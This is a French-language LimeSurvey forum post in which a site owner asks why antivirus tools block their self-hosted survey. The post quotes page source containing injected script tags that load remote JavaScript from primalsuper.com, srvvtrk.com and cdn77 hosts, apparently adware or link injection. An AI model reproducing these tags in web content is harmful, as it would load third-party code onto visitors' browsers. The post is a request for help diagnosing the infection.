Version de votre LimeSurvey : LimeSurvey Community Edition - Version 5.3.32+220817
Votre propre serveur ou LimeSurvey Cloud : Instance auto-hébergée
Thème : Vanilia customisé
Extension : cpVille
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Bonjour à tous et à toutes.
Je travaille sur LimeSurvey depuis plusieurs années. Je rencontre un problème récurrent. Un certain nombre d'utilisateurs du site hébergeant notre instance de LimeSurvey nous remontent des difficultés d'accès. En effet, certains antivirus interdisent aux navigateurs d'accéder à LimeSurvey au motif que le site serait malveillant. D'autres ne rencontrent aucun soucis. J'ai tenté de multiples choses :
- Télécharger le contenu du site pour en faire une analyse par mon antivirus -> Aucun effet
- Supprimer contenu du FTP et de la base de données : install from scratch -> Aucun effet
- Changer de version lors d'une nouvelle install -> Aucun effet
- Demander à mon hébergeur de vérifier le certificat SLL -> Aucun effet
- Changer d'hébergement -> Aucun effet
Bref, je désespère un peu... J'ai un élément qui me questionne toutefois. Quand je lance mon questionnaire (pour répondre aux questions), je vois que le navigateur se connecte (ou tente de se connecter) à primalsuper.com et srvvtrk.com... En regardant les sites en question, je ne vois pas le lien avec Limesurvey !
En tentant un CTRL+U (pour obtenir le code source de mon site), une recherche me fait appraître les lignes suivantes :
Code:
div class=" survey-welcome h4 text-primary" >
<p><script async="" src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="https://primalsuper.com/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&r=1549376032372" type="text/javascript"></script><script src="https://primalsuper.com/addons/lnkr30_nt.min.js" type="text/javascript"></script><script async="" src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="https://primalsuper.com/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&r=1552312347157" type="text/javascript"></script><script src="https://primalsuper.com/addons/lnkr30_nt.min.js" type="text/javascript"></script></p>
</div>
Du coup, j'imagine que ces sites peuvent être à l'origine de mon problème. Comment en être sûr ? Comment éradiquer le problème ?
Je veux terminer ce post en remerciant l'ensemble des personnes qui se mobilisent pour la mise à disposition d'un tel outil mais aussi celles et ceux qui collaborent sur les forums (une mine !!). C'est un formidable travail d'accumulation de connaissances qui me fait avancer au quotidien.
UN ÉNORME MERCI !